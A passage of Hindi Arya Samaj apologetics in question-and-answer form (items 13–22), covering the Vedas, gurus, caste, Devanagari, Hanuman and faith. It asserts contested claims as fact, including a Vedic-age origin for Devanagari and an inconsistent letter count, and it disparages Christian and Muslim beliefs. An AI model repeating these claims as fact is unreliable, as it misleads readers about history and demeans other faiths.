महात्मा बुद्ध के काल में शरीर को पीप-विष्ठा-मूत्र का गोला कहा जाने लगा। विश्व को दुःख,असार, त्याग्य,हेय, निस्सार, कष्ठदायी माना जाने लगा और अकर्मयता एवं जगत के त्याग का भाव दृढ़ होने लगा। कालांतर में उपनिषदों और गीता में यही जगतदुखवाद का भाव लाद दिया गया। भारतियों की इच्छा जगत को स्वर्ग बनाने के स्थान पर त्याग करने की होने लगी। अकर्मयता के साथ निराशावाद घर करने लगी। इससे यह भावना दृढ़ हुई की इस दुखमय संसार में मलेच्छ राज्य करे चाहे कोई और करे हमें तो उसका त्याग ही करना हैं। ऐसे विचार जिस देश में फैले हो वह देश सैकड़ों वर्षों क्या हज़ारों वर्षों तक भी पराधीन रहे तो क्या आश्चर्य की बात हैं।

जब तक इस प्रकार की निराशावादी विचारों को भारतीय अपने मस्तिष्क में स्थान देते रहेंगे तब तक भारत कभी उन्नति नहीं कर सकता। अगर कोई मुझसे पूछे की स्वामी दयानंद की हिन्दू समाज को क्या देन हैं तो मेरा उत्तर यही हैं की स्वामी दयानंद इस घोर निराशावादी विचारधारा के सबसे बड़े शत्रु थे और प्रगतिशील, निष्पक्ष एवं संकीर्ण मानसिक विचारों के मुक्ति प्रदाता थे। आईये इस निराशावाद के चक्र से निकले एवं आध्यात्मिक, आधिभौतिक उन्नति करते हुए संसार में फिर से आर्यावर्त का नाम रोशन करे।

शंका 13- आर्यसमाज के सदस्य क़ुरान में बिस्मिल्लाह पर शंका करते हैं की अगर क़ुरान खुदा का बनाया होता तो क़ुरान में शुरू कर अल्लाह के नाम से के स्थान पर शुरू कर मेरे नाम से होता। स्वामी दयानंद ने इस शंका को सत्यार्थ प्रकाश के १४ वें समुल्लास में समीक्षा के अंतर्गत उठाया हैं। एक मुस्लमान भाई ने शंका की हैं वेद के मन्त्रों पर में अनेक स्थानों पर इसी प्रकार से “मैं” के स्थान पर “ईश्वर” शब्द का प्रयोग होता हैं। क्या इससे यह समझे की वेद भी ईश्वरीय ज्ञान नहीं हैं?

समाधान- वेदों में विभिन्न मन्त्रों में ईश्वर की स्तुति तीन प्रकार से की गई हैं। कुछ मन्त्रों में पप्रथम पुरुष की क्रिया का प्रयोग होता हैं और प्रसंग अनुसार उनमें प्रयुक्त शब्दों की विभक्तियाँ कर्ता, कर्म आदि सातों विभक्तियों में से कोई भी हो सकती हैं। ऐसे मन्त्रों को परोक्षकृत कहते हैं। कुछ मन्त्रों में मध्यम पुरुष की क्रियाओं का प्रयोग होता हैं और त्वम =तू आदि सर्वनामों का प्रयोग होता हैं। ऐसे मंत्र प्रत्यक्षकृत मंत्र कहे जाते हैं। कुछ मन्त्रों में उत्तम पुरुष की क्रियाओं का प्रयोग होता हैं और “अहम”=”मैं” आदि सर्वनामों का प्रयोग होता हैं। ऐसे मन्त्रों को अध्यात्मिक मंत्र कहते हैं। व्याकरण की दृष्टि से मन्त्रों की शब्दरचना के आधार पर मन्त्रों के ये तीनों नाम उनकी पारिभाषिक संज्ञाएँ हैं। क़ुरान में इस प्रकार की कोई व्यवस्था इस क्रम देखने को नहीं मिलता।

शंका 14 – क्या गुरु ईश्वर से बड़ा हैं?

समाधान- गुरु गोविंद दोनों खड़े, काके लागूं पाँय । बलिहारी गुरु आपनो, गोविंद दियो मिलाय ॥

गुरुडम कि दुकान चलाने वाले कुछ अज्ञानी लोगों ने कबीर के इस दोहे का नाम लेकर यह कहना आरम्भ कर दिया हैं कि ईश्वर से बड़ा गुरु हैं क्यूंकि गुरु ईश्वर तक पहुँचने का मार्ग बताता हैं। एक सरल से उदहारण को लेकर इस शंका को समझने का प्रयास करते हैं। मान लीजिये कि मैं भारत के राष्ट्रपति प्रणव मुखर्जी से मिलने के लिये राष्ट्रपति भवन गया। राष्ट्रपति भवन का एक कर्मचारी मुझे उनके पास मिलवाने के लिए ले गया। अब यह बताओ कि राष्ट्रपति बड़ा या उनसे मिलवाने वाला कर्मचारी बड़ा हैं?

आप कहेगे कि निश्चित रूप से राष्ट्रपति कर्मचारी से कही बड़ा हैं, राष्ट्रपति के समक्ष तो उस कर्मचारी कि कोई बिसात ही नहीं हैं। यही अंतर उस गुरुओं कि भी गुरु ईश्वर और ईश्वर प्राप्ति का मार्ग बताने वाले गुरु में हैं। हिन्दू समाज के विभिन्न मतों में गुरुडम कि दुकान को बढ़ावा देने के लिए गुरु कि महिमा को ईश्वर से अधिक बताना अज्ञानता का बोधक हैं। इससे अंध विश्वास और पाखंड को बढ़ावा मिलता हैं।

शंका 15- असली कलियुग क्या हैं?

समाधान- एक अनपढ़ , चरित्रहीन , माँस खाने वाला, शराब पीने वाला व्यक्ति तो अपने आप को ब्राह्मण कहता हैं क्यूंकि उसके बाप के नाम के आगे ब्राह्मण लगा हुआ हैं जबकि एक विश्वविद्यालय का प्रोफेसर जोकि विद्वान हैं, सद्चरित्र हैं, शाकाहारी हैं और किसी भी प्रकार का नशा नहीं करता शुद्र हैं क्यूंकि उसके बाप के नाम के आगे वाल्मीकि लिखा हुआ हैं।

यह हैं असली कलियुग !

शंका 16- लक्ष्मी पूजा करने के बावजूद भी भारतीय गरीब क्यूँ हैं?

समाधान- वेदों में लक्ष्मी का वर्णन अनेक मन्त्रों में मिलता हैं पर वह पर लक्ष्मी का अर्थ किसी देवी की पूजा करना नहीं हैं अपितु पुरुषार्थ करना लिखा हैं। साधारण शब्दों में इसका अर्थ हैं जितना इमानदारी से परिश्रम करोगे उतना धनवान बनोगे और सुख के भागी बनोगे। भारतवासी लक्ष्मी के उपासक तो हैं पर पुरुषार्थी नहीं हैं . वे जातिवाद के नाम पर आरक्षण, भ्रष्टाचार, काले धन, पूर्वजों की विरासत में मिली संपत्ति, धोखा, घोटाले, अन्धविश्वास, जन्म पत्री , सितारों और गृह चक्र, गुरुडम, हस्तरेखा, भुत प्रेत , तंत्र मंत्र, धर्म परिवर्तन आदि आमिर बनना चाहते हैं इसलिए गरीब, अशिक्षित और दुखी हैं। अगर लक्ष्मी की सच्ची कृपा करवानी हैं तो पुरुषार्थी और ईमानदार बनने से सफलता मिलेगी।

शंका 17- आर्य (हिंदी) भाषा कि वर्ण एवं लिपि का आरम्भ कब हुआ?

समाधान- आर्य (हिंदी) भाषा की लिपि देवनागरी हैं। देवनागरी को देवनागरी इसलिए कहा गया हैं क्यूंकि यह देवों की भाषा हैं। भाषाएँ दो प्रकार की होती हैं। कल्पित और अपौरुषेय। कल्पित भाषा का आधार कल्पना के अतिरिक्त और कोई नहीं होता। ऐसी भाषा में वर्णरचना का आधार भी वैज्ञानिक के स्थान पर काल्पनिक होता हैं। अपौरुषेय भाषा का आधार नित्य अनादि वाणी होता हैं। उसमें समय समय पर परिवर्तन होते रहते हैं परन्तु वह अपना मूल आधार अनादि अपौरुषेय वाणी को कभी नहीं छोड़ती। ऐसी भाषा का आधार भी अनादि विज्ञान ही होता हैं।

वैदिक वर्णमाला में मुख्यतः १७ अक्षर हैं। इन १७ अक्षरों में कितने अक्षर केवल प्रयत्नशील अर्थात मुख और जिव्हा की इधर-उधर गति आकुंचन और प्रसारण से बोले जाते हैं और किसी विशेष स्थान से इनका कोई सम्बन्ध नहीं होता। उन्हें स्वर कहते हैं। जिनके उच्चारण में स्वर और प्रयत्न दोनों की सहायता लेनी पड़ती हैं उन्हें व्यंजन कहते हैं। कितने ही अवांतर भेद हो जाने पर हमारी इस वर्णमाला के अक्षर ६४ हो जाते हैं। यजुर्वेद में इन्हीं १७ अक्षरों की नीचे के मंत्र द्वारा स्पष्ट गणना हैं- अग्निरेकाक्षरेण, अश्विनौ द्व्यक्षरेण, विष्णु: त्र्यक्षरेण, सोमश्चतुरक्षेण, पूषा पंचाक्षरेण, सविता षडक्षरेण, मरुत: सप्ताक्षरेण, बृहस्पति अष्टाक्षरेण, मित्रो नवाक्षरेण, वरुणो दशाक्षरेण, इन्द्र एकादशाक्षरेण, विश्वदेवा द्वादशाक्षरेण, वसवस्त्रयोदशाक्षरेण,रुद्रश्चतुर्दशाक्षरेण, आदित्या: पंचदशाक्षरेण, अदिति: षोडशाक्षरेण, प्रजापति: सप्तदशाक्षरेण। (यजुर्वेद ९-३१-३४)

इस प्रकार यह मूलरूप से १७ अक्षरों की और विस्तार में १७ अक्षरों की वर्णमाला वैदिक होने से अनादि और अपौरुषेय हैं। वर्णमाला के १७ अक्षरों का मूल एक ही अकार हैं। यह अकार ही अपने स्थान और प्रयत्नों के भेद से अनेक प्रकार का हो जाता हैं। ओष्ठ बंद करके यदि अकार का उच्चारण किया जाए तो पकार हो जावेगा और यदि अकार का ही कंठ से उच्चारण करें तो ककार सुनाई देगा। इस प्रकार से सभी वर्णों के विषय में समझ लेना चाहिये। अकार प्रत्येक उच्चारण में उपस्थित रहता हैं, बिना उसकी सहायता के न कोई वर्ण भलीभांति बोला जा सकता हैं और न सुनाई देता हैं। इसलिए अकार के निम्न अनेक अर्थ हैं- सब, कुल, पूर्ण, व्यापक, अव्यय, एक और अखंड आदि अकार अक्षर के ही अर्थ हैं। इन अर्थों को देखकर अकार अक्षर व्यापक और अखंड प्रतीत होता हैं। क्यूंकि शेष अक्षर उसी में प्रविष्ट होने से इन्हीं के रूप में ही प्रतीत होते हैं। उपनिषद् में ब्राह्मण कम् और खम् दो अर्थ हैं। इसलिए इस अपौरुषेय वर्णमाला का उच्चारण करते समय हम एक प्रकार से ब्रह्मा की उपासना कर रहे होते हैं। वर्णों के शब्द बनते हैं और शब्दों का समुदाय भाषा हैं। इस प्रकार से हिंदी भाषा को ‘ब्रह्मवादिनी’ भी कह सकते हैं।

इस प्रकार देवनागरी लिपि में प्रत्येक अक्षर का उच्चारण करते समय हम ब्रह्मा की उपासना कर रहे होते हैं। इसलिए देवनागरी हमारी संस्कृति का प्रतीक हैं। हमारी संस्कृति वैदिक हैं। वैदिक संस्कृति वेद द्वारा भगवान की देन हैं और वेदों के अनादि होने से हमारी संस्कृति और हमारी भाषा भी अनादि और अपौरुषेय हैं। एक और तथ्य यह हैं कि हमारी भाषा में सभी भाषाओँ के शब्द लिखे और पढ़े जा सकते हैं क्यूंकि इसके ६४ अक्षर किसी भी शब्द की तथा उच्चारण की किसी भी न्यूनता को रहने नहीं देते।

देवनागरी लिपि के विकास की जहाँ तक बात हैं तो स्वामी दयानंद पूना प्रवचन के नौवें प्रवचन में लिखते हैं कि इक्ष्वाकु यह आर्यावर्त का प्रथम राजा हुआ। इक्ष्वाकु के समय अक्षर स्याही आदि से लिखने की लिपि का विकास किया। ऐसा प्रतीत होता हैं। इक्ष्वाकु के समय वेद को कंठस्थ करने की रीती कुछ कम होने लगी थी । जिस लिपि में वेद लिखे गए उसका नाम देवनागरी हैं। विद्वान अर्थात देव लोगों ने संकेत से अक्षर लिखना प्रारम्भ किया इसलिए भी इसका नाम देवनागरी हैं।

इस प्रकार से आर्य भाषा अपौरुषेय एवं वैदिक काल की भाषा हैं जिसकी लिपि का विकास भी वैदिक काल में हो गया था।

सन्दर्भ- उपदेश मंजरी- स्वामी दयानंद पूना प्रवचन एवं स्वामी आत्मानंद सरस्वती पत्र व्यवहार-२०९ (अप्रकाशित)

शंका 18- क्या हनुमान जी उड़ कर समुद्र पार कर लंका में गये थे?

समाधान- हनुमान जी के विषय में यह भ्रान्ति अनेक बार सामने आती है कि वह उड़ कर समुद्र कैसे पार कर गए क्यूंकि मनुष्य द्वारा उड़ना संभव नहीं है। सत्य यह है कि हनुमान जी ने उड़ कर नहीं अपितु तैर कर समुद्र को पार किया था। रामायण में किष्किन्धा कांड के अंत में यह विवरण स्पष्ट रूप से दिया गया है। सम्पाती के वचन सुनकर अंगदादि सब वीर समुद्र के तट पर पहुँचे तो समुद्र के वेग और बल को देखकर सबके मन खिन्न हो गये। अंगद ने सौ योजन के समुद्र को पार करने का आवाहन किया। युवराज अंगद के सन्देश को सुनकर वानरों ने 100 योजन के समुद्र को पार करने में असमर्थता दिखाई। तब अंगद ने कहा कि मैं 100 योजन तैरने में समर्थ हूँ पर वापिस आने कि मुझमे शक्ति नहीं है। तब जाम्बवान ने कहा आप हमारे स्वामी है आपको हम जाने नहीं देंगे। इस पर अंगद ने कहा यदि मैं न जाऊँ और न कोई और पुरुष जाये तो फिर हम सबको मर जाना ही अच्छा है। क्यूंकि कार्य किये बिना, सुग्रीव के राज्य में जाना भी मरना ही है।

अंगद के इस साहस भरे वाक्य को सुनकर जाम्बवान बोले-राजन मैं अभी उस वीर को प्रेरणा देता हूँ, जो इस कार्य को सिद्ध करने में सक्षम है। इसके पश्चात हनुमान को उनकी शक्तियों का स्मरण करा प्रेरित किया गया। हनुमान जी बोले-”मैं इस सारे समुद्र को बाहुबल से तर सकता हूँ और मेरे ऊरु, जंघा के वेग से उठा हुआ समुद्र जल आकाश को चढ़ते हुए के तुल्य होगा। मैं पार जाकर उधर की पृथ्वी पर पाँव धरे बिना, अर्थात विश्राम करे बिना फिर उसी वेग से इस ओर आ सकता हूँ। मैं जब समुद्र में जाऊँगा, अवश्य खिन्न हुए लता, वृक्ष आकाश को उड़ेंगे, अर्थात अन्य स्थान का आश्रय ढूंढेंगे।” (श्लोक किष्किन्धा काण्ड,६७/२६)

इसके पश्चात हनुमान समुद्र में उतरने के लिए एक पर्वत के शिखर पर चढ़ गये। उनके वेग से उस समय प्रतीत होता था कि पर्वत काँप रहा है। हनुमान जी के समुद्र में प्रविष्ट होते ही समुद्र में ऐसा शब्द हुआ जैसे कि मेघ गर्जन से होता है। और हनुमान जी ने वेग से उस महासमुद्र को देखते ही देखते पार कर लिया।

(हिंदी भाषा में एक प्रसिद्द मुहावरा है” हवा से बातें करना” अर्थात अत्यंत वेग से जो चलता या तैरता या गति करता है उसे हवा से बातें करना कहते है। हनुमान जी ने इतने वेग से समुद्र को पार किया कि उपमा में हवा से बातें करना परिवर्तित होकर हवा में उड़ना हो गया। इसी से यह भ्रान्ति हुई कि हनुमान जी हवा में उड़ते थे जबकि सत्य यह है कि वह ब्रह्मचर्य के बल पर हवा के समान तेज गति से कार्य करते थे)

शंका 19- एक नास्तिक ने प्रश्न किया की ईश्वर विश्वास पाप से कैसे बचाता है?

समाधान- ईश्वर विश्वासी व्यक्ति सर्वव्यापक अर्थात ईश्वर को जगत में हर स्थान पर स्थित होना मानता है। जो व्यक्ति ईश्वर को मानेगा तो वह ईश्वरीय कर्मफल व्यवस्था में भी विश्वास करेगा। कर्मफल सिद्धांत जो जैसा बोयेगा वो वैसा काटेगा का अटल नियम हैं। और कर्मफल सिद्धांत में विश्वास रखने वाला व्यक्ति ईश्वर में विश्वास रखने के कारण पाप करने से बचेगा। इसलिए ईश्वर में विश्वास से कोई भी व्यक्ति पाप कर्म से बचता है बशर्ते वह ईश्वर को सच्चिदान्नदस्वरुप , निराकार , सर्वशक्तिमान , न्यायकारी , दयालु , अजन्मा , अनन्त , निर्विकार , अनादि , अनुपम , सर्वाधार, सर्वेश्वर , सर्वव्यापक , सर्वान्तर्यामी , अजर , अभय , नित्य, पवित्र और सृष्टिकर्ता मानता है।
एक उदहारण से समझते है। एक चोर अपने पड़ोसी के खेत से गेंहू चुराकर अपने घर लाता था। एक बार वह अपने लड़के को भी चोरी करते समय अपने साथ ले गया। पड़ोसी के खेत में जाकर वह चोर इधर उधर देख कर निश्चित होकर चोरी करने लगता है। तभी उसका लड़का कहता है पिताजी आपको कोई देख रहा है। सुनते ही पिता के चोरी करते हाथ उसी समय रुक जाते है और उस तपाक से अपने पुत्र से पूछता है की कौन देख रहा है और कहाँ देख रहा है। पुत्र ऊपर आकाश की हाथ कर कहता है कि ईश्वर ऊपर से आपको चोरी करते हुए देख रहे है। पिता का माथा ठनकता है और वह अपने पुत्र द्वारा कही गई बात से प्रभावित होकर चोरी करना छोड़ देता है।
इस प्रकार से ईश्वर सर्वव्यापक एवं सर्वदेशीय सिद्ध हुआ। सर्वव्यापक वही सत्ता हो सकती है जो सत्ता निराकार हो और जो सत्ता निराकार होगी वही सर्वान्तर्यामी ,नित्य, अजन्मा, अमर और अजर होगी। जो सत्ता नित्य होगी वही सर्वशक्तिमान होगी। जो सत्ता सर्वशक्तिमान होगी वही सर्वाधार, सर्वेश्वर ,सृष्टिकर्ता एवं प्रलयकर्ता होगी और ऐसी सत्ता ही सर्वगुणसम्पन्न होने से सच्चिदान्नदस्वरुप,न्यायकारी एवं दयालु हो सकती है।
कुछ लोग अब यह प्रश्न करते है की फिर ईश्वर को मानने वाले लोग पाप क्यों करते है। उसका स्पष्ट कारण है कि वे ईश्वर के सच्चे स्वरुप को नहीं जानते।
पुराणों में भक्त अजामल की कथा मिलती है। अजामल ने जीवन भर अनेक पाप कर्म किये। अंत में जब यम के दूत मृत्यु के समय अजामल के प्राण हरण करने आये तो उसके मुख से उसके पुत्र नारायण का नाम निकला। उसने पुकारा ‘नारायण आओ! नारायण आओ! इतने में तेज रोशनी हुई एवं साक्षात नारायण उधर पधारे और नारायण को देखकर यम के दूत पीछे हट गए एवं नारायण के साथ अजामल सीधे स्वर्ग को चला गया।
इस कथा के माध्यम से पौराणिक लोग ईश्वर के नामसमरण के महत्व का गुणगान करते है। मगर इस कथा में ईश्वर को अज्ञानी, अल्पज्ञ एवं न्यायविरुद्ध दिखाया गया है जो ईश्वर के गुण, कर्म और स्वाभाव के विपरीत है। क्या ईश्वर इतने अज्ञानी है कि वह यह नहीं जानते की जन्म-मृत्यु की व्यवस्था भी ईश्वरीय है एवं कर्मफल व्यवस्था भी ईश्वरीय है। फिर ईश्वरीय गुण, कर्म स्वभाव के विपरीत इस प्रकार की कथाओं से उत्पन्न हुई भ्रान्तियों के कारण ही मनुष्य आस्तिक अर्थात ईश्वर विश्वासी होने के बाद भी पापकर्म करता है। इसलिए अगर पापों से बचना है तो ईश्वर के यथार्थ गुण-कर्म और स्वाभाव से भी परिचित होना आवश्यक है।

१.प्राणी जगत का रक्षक, प्रकृष्ट ज्ञान वाला प्रभु हमें पाप से छुडाये- अथर्वेद ४/२३/१

२.हे सर्वव्यापक प्रभु जैसे मनुष्य नौका द्वारा नदी को पार कर जाते हैं, वैसे ही आप हमें द्वेष रुपी नदी से पार कीजिये। हमारा पाप हमसे पृथक होकर दग्ध हो जाये- अथर्ववेद ४/३३/७

३.हे ज्ञान स्वरुप परमेश्वर हम विद्वान तेरे ही बन जाएँ, हमारा पाप तेरी कृपा से सर्वथा नष्ट कर दे। – ऋग्वेद १/९७/४

४. हे मित्रावरुणो अर्थात अध्यापकों उपदेशकों आपके नेतृत्व में अर्थात आपकी कृपा से गड्डे की तरह गिराने वाले पापों से में सर्वथा दूर हो जाऊ। – ऋग्वेद २/२७/५

५.हे ज्ञानस्वरूप प्रभु आप हमे अज्ञान को दूर रख पाप को दूर करों। – ऋग्वेद ४/११/६

इस प्रकार से ईश्वर के गुण, कर्म और स्वाभाव से परिचित होकर ही व्यक्ति ही ईश्वर विश्वासी होने पर पापों से बच सकता है।

शंका 20- वासना से मुक्ति का क्या उपाय है ?

समाधान -आर्यसमाज के महान योगी एवं मनोविज्ञान एवं शिवसंकल्प जैसी उत्कृष्ट पुस्तक के रचियता स्वामी आत्मानंद जी के अनुसार वासना से मुक्ति के उपाय इस प्रकार से बताया है। जब भी मन में कामवासना उत्पन्न हो जाये तो एक सहस्त्र गायत्री मंत्र का जाप करो और एक दिन का निराहार व्रत करो। सब से बड़ी औषधि तप है। ईश्वर के भजन और तप से सच्चा संयम होता है। खान पान सात्विक रखो। भोजन को अधिक समय दिया करो। ऋषि दयानंद के जीवन का पाठ किया करो।

शंका 21-सत्यार्थ प्रकाश की परिभाषा के अनुसार ईश्वर निराकार, सर्वशक्तिमान,सर्वव्यापक एवं सर्वान्तर्यामी है मगर शिवरात्री वृत के उपवास पर बैठे स्वामी दयानन्द को यह क्यों समझ नहीं आया कि मूर्ति पर से प्रसाद उठा कर खाने वाले चूहे में भी वही सर्वव्यापक ईश्वर मौजूद थे और सर्वान्तर्यामी, सर्वेश्वर, ईश्वर ने चूहे का रूप धर के वहां से प्रसाद गृहण कर लिया था।

समाधान- ईश्वर सच्चिदानंद-स्वरुप, निराकार, सर्वशक्तिमान, न्यायकारी, दयालु, अजन्मा, अनंत, निर्विकार, अनादि, अनुपम, सर्वाधार, सर्वेश्वर, सर्वव्यापक, सर्वान्तर्यामी, अजर, अमर, अभय, नित्य, पवित्र और सृष्टिकर्त्ता है। आपके कथनानुसार चूहे में सर्वव्यापक ब्रह्म की मौजूदगी है , अतः वह रूप धारण कर सकता है। इससे यह सिद्ध हुआ कि जो जो सर्वव्यापक पदार्थ है, वह जिसमें मौजूद है उस रूप में परिवर्तित हो सकता है। जैसे आकाश सर्वव्यापक है , वह हर चीज में व्याप्त है। आपके कथनानुसार आकाश भी मिटटी, पत्थर , पेड़ , पौधे , मनुष्य , चूहा , बिल्ली इत्यादि हर पदार्थ बन सकता है। आप कह सकते हैं कि आकाश जड़ पदार्थ है इसीलिए उसके अंदर सामर्थ्य नहीं कि वह पशु इत्यादि का रूप धारण कर ले। तो क्या सर्वशक्तिमान परमात्मा आकाश को पशु, मिटटी, पत्थर , पेड़ , पौधे , मनुष्य , चूहा , बिल्ली इत्यादि बना सकता है? नहीं बना सकता , ऐसा हो ही नहीं सकता , रूप रहित आकाश ( अंतरिक्ष ) को साकार बना ही नहीं सकता। फिर आप कह सकते हैं कि ईश्वर सर्वशक्तिमान कहाँ रहा ? , उनकी सर्वशक्तिमत्ता में कमी आ गयी इत्यादि इत्यादि। परन्तु सर्वशक्तिमान का वह अर्थ नहीं है जो शायद आप समझते हैं! प्रायः लोग बुद्धि रूपी सर्वशक्तिमान का अर्थ करते हैं – ” कर्तुम् अकर्तुम् अन्यथा कर्तुम् यः समर्थः, सः सर्वशक्तिमान ” जिसका अभिप्राय है कुछ भी परमात्मा कर सकता है। क्या परमात्मा अपने आपको मार सकता है ? क्या परमात्मा अपने अस्तित्व को मिटा सकता है ? क्या परमात्मा दुष्टता कर सकता है? , अन्याय कर सकता है ? क्या परमात्मा अपने आपको शक्तिहीन कर सकता है ? क्या परमात्मा अपनी अनंतता को, दयालुता को , निर्विकारता को अनादित्व को, सर्वाधारत्व को , सर्वेश्वरत्व को विनष्ट कर सकता है ? जैसे यह नहीं कर सकता उसी तरह चूहे भी नहीं बन सकता। यदि आपके समझ में सर्वशक्तिमान की ऐसी परिभाषा हो तो विचार कीजिये। अस्तु ये तो बुद्धि ( तर्क ) रूपी ऋषि की बात हुई। आईये अब हम आपको शब्द प्रमाण के माध्यम से बतलाने का प्रयास करते हैं कि – ईश्वर कभी चूहा नहीं बन सकता। यदि आपको महर्षि पतंजलि, महर्षि वेद व्यास इत्यादि ऋषियों के ऊपर तनिक भीे श्रद्धा होगी तो आप अब ऐसा नही सोचेंगे ।
महर्षि पतंजलि जी से उनके शिष्य ने पूछा कि – गुरु जी ! क्या ईश्वर प्राप्ति का उपाय पर और अपर वैराग्य ही है या इसके आलावा और कुछ भी ? तो इसके जबाब में भगवान महर्षि पतंजलि जी कहते हैं- ” ईश्वर प्रणिधानाद् वा ( योग दर्शन -1/1/23)” अर्थात ईश्वर प्रणिधान से भी परमात्मा की प्राप्ति की जाती है, असम्प्रज्ञात समाधि को प्राप्त किया जाता है। इस सूत्र की व्याख्या में महर्षि वेद व्यास जी लिखते हैं — ” प्रणिधानाद् भक्ति विशेषात् आवर्त्तित ईश्वरः तमनुगृह्णाति अभिध्यानमात्रेण। तदभिध्यानमात्रादपि योगिन आसन्नतमः समाधिलाभः समाधिफलं च भवतीति। ” इसका अभिप्राय है जब साधक ईश्वर की भक्ति करता है तो ईश्वर उसके ऊपर कृपा करता है और साधक समाधि तथा समाधि के फल मोक्ष को प्राप्त करता है। पुनः शिष्य जिज्ञासा करता है कि – गुरु जी ! जिस ईश्वर की भक्ति करनी है उसका स्वरूप क्या है ? तो इसके उत्तर में वे कहते हैं कि – ” क्लेशकर्मविपाकाशयैरपरामृष्टः पुरुषविशेष ईश्वरः ( योग दर्शन – 1/1/24) ” अर्थात जो क्लेश, शुभ अशुभ कर्म और कर्म के विपाक ( फल ) जन्म, आयु, भोग तथा उस फल के अनुकूल वासना ( संस्कार ) से जो अपरामरिष्ट हो अर्थात रहित हो उसे ईश्वर कहते हैं और उस ईश्वर की भक्ति विशेष करने से ईश्वर की प्राप्ति होती है। इस सूत्र की व्याख्या में भगवान महर्षि वेदव्यास जी लिखते हैं – ” कैवल्यं प्राप्तास्तर्हि सन्ति च बहवः केवलिन: । ते हि त्रीणि बन्धनानि छित्वा कैवल्यं प्राप्ता ईश्वरस्य च तत्सम्बंधो न भूतो न भावी। यथा मुक्तस्य पूर्वा बन्धकोटिः प्रज्ञायते नैवमीश्वरस्य। यथा वा प्रकृतिलीनस्य उत्तरा बन्धकोटिः सम्भाव्यते नैवमीश्वरस्य। स तू सदैव मुक्तः सदैवेश्वरः। अर्थात पूर्व पक्षी ने प्रश्न किया कि ऋषिवर ! कैवल्य (मोक्ष ) को प्राप्त करने वाले बहुत सारे योगी हुए हैं जो जन्म, आयु, भोग का छेदन कर मोक्ष को प्राप्त किये हैं अब वे मोक्ष में क्लेश, कर्म, विपाक और संस्कार से रहित होकर निवास कर रहे हैं , क्या उनको हम ईश्वर कह सकते हैं ? इसके उत्तर में महर्षि वेद व्यास जी कहते हैं कि -ईश्वरस्य च तत्सम्बंधो न भूतो न भावी। ईश्वर का जन्म, आयु , भोग से न सम्बद्ध था और न होगा। वे कहते हैं कि जैसे जो मुक्त पुरुष मुक्ति में विचरण कर रहे हैं उनका पूर्व बन्ध कोटि जाना जाता है कि वे मुक्ति से पहले बंधन में थे और जो प्रकृतिलीन नामक योगी हैं उनका उत्तर बन्ध कोटि जाना जाता है कि उनका अगला जन्म होगा अभी मोक्ष में नहीं जाएंगे। इस तरह का पूर्व बन्ध कोटि और उत्तर बन्ध कोटि ईश्वर में नहीं होता है , वह सदा ही मुक्त है और सदा ही ईश्वर है। इससे क्या सिद्ध हुआ ? , ईश्वर कभी भी चूहा का रूप धारण नहीं कर सकता। आपके समक्ष मेरे लिखने का अभिप्राय इतना ही है कि – ईश्वर कभी चूहा नहीं बन सकता।

साभार- आचार्य वेदश्रमी व्याकरणाचार्य

शंका 22- एक ईसाई भाई ने शंका करी है कि आर्यसमाजियों में श्रद्धा और आस्था नहीं होती इसलिए वह अन्य मतों के विषय में नकारात्मक टिप्पणी करते दीखते है?

समाधान- आस्था और श्रद्धा अगर ज्ञान के बिना हो तो वह अन्धविश्वास कहलाता है। एक उदहारण लीजिये जब वर्षा नहीं होती तो कुछ लोग आस्था के चलते कुत्ते का विवाह कुंवारी लड़की से करते है। यह आस्था हैं मगर बिना ज्ञान की आस्था है। सभी जानते हैं कि शराब बुरी चीज है। जिसे इसकी लत पड़ जाये तो न केवल वह बल्कि उसका पूरा परिवार भी बर्बाद हो जाता है। फिर भी राजस्थान में एक मंदिर में भक्त देवी की मूर्ति पर शराब चढ़ाते है। पूछो तो कहते हैं तुम कौन हमारी आस्था है। गुवहाटी में कामख्या का मंदिर है। हर रोज सैकड़ों मुर्गे, बकरे, कबूतर, भैंसे और न जाने कितने निरीह और निरपराध जानवरों को देवी को अर्पित करने के नाम पर मारे जाते है। पूछो तो कहते हैं तुम कौन हमारी आस्था है। ईसाई समाज में कुँवारी के पेट से पैदा हुई संतान यीशु को मुक्तिदाता कहकर उस अनैतिक सम्बन्ध को ईश्वर कुछ भी कर सकता है कहकर श्रद्धा और आस्था का प्रदर्शन किया जाता है जबकि अनैतिक सबंध अनैतिक ही रहेगा आपके विश्वास या श्रद्धा से नैतिक नहीं बन जायेगा। मुस्लिम समाज में मुहम्मद साहिब द्वारा चाँद के दो टुकड़े करने जैसी असंभव घटना को आस्था और विश्वास का प्रतीक माना जाता हैं। जब चमत्कार करने की उनकी शक्ति पर यह कहकर प्रश्न किया जाता है कि मुहम्मद साहिब अपने इकलौते नवजात पुत्र के पैदा होने के कुछ ही दिनों बाद मृत्यु होने पर फुट फुट कर क्यों रोये जबकि मृत बालक को वह दोबारा चमत्कार से जीवित कर सकते थे। यह प्रश्न पूछने पर या तो अधिकांश मुस्लिम भाई मौन धारण करने में अपनी भलाई समझते हैं अथवा कहते है की तुम कौन हमारी आस्था हैं।
अन्धविश्वास और आस्था में अंतर समझने के लिए एक अन्य उदहारण लीजिये एक छात्र को अध्यापक गणित का एक प्रश्न पूछता है। छात्र अपनी तुच्छ बुद्धि से अनाप शनाप उत्तर लिख देता है और कहता है जी मेरा ही उत्तर सही हैं। अध्यापक पूछता है भाई तुम्हारा ही उत्तर सही क्यों है। छात्र कहता है मेरा ही उत्तर इसलिए सही है क्यूंकि मेरी इसमें आस्था हैं, मेरा इसमें विश्वास है। अब अध्यापक उसे कितने नंबर देगा सभी जानते है। सभी मत मतान्तरों की यही हालत है। सभी धार्मिक है,आस्थावान है,ईमानदार है, कर्त्तव्य का पालन करने वाले है मगर चलते अपनी आस्था से है नाकि नियम से चलते है। नियम का निर्धारण यथार्थ ज्ञान से होता है जो सृष्टि के आदि से अंत तक तर्क की कसौटी पर सदा खरा उतरेगा। इसलिए नियम का पालन करना अनिवार्य है और यह तभी होगा तब ज्ञान होगा। जिस प्रकार जिस दिन वह छात्र नियम से गणित की शंका का समाधान निकालेगा उस दिन से उसका सही उत्तर निकलने लगेगा, उसी प्रकार से जिस दिन सकल समाज वेद रूपी ईश्वरीय नियम का, ईश्वरीय ज्ञान का पालन करने लगेगा उसी दिन से समाज अन्धविश्वास को छोड़कर सत्य मार्ग का पथिक बन जायेगा। जिसका जैसा मन किया उसने वैसे ईश्वर की कल्पना करी, जिसका जैसा मन किया उसने वैसे ईश्वर की पूजा करने की विधि की कल्पना करी,जिसका जैसा मन किया उसने वैसे ईश्वर पूजा के फल की कल्पना करी और सभी कल्पनाओं को 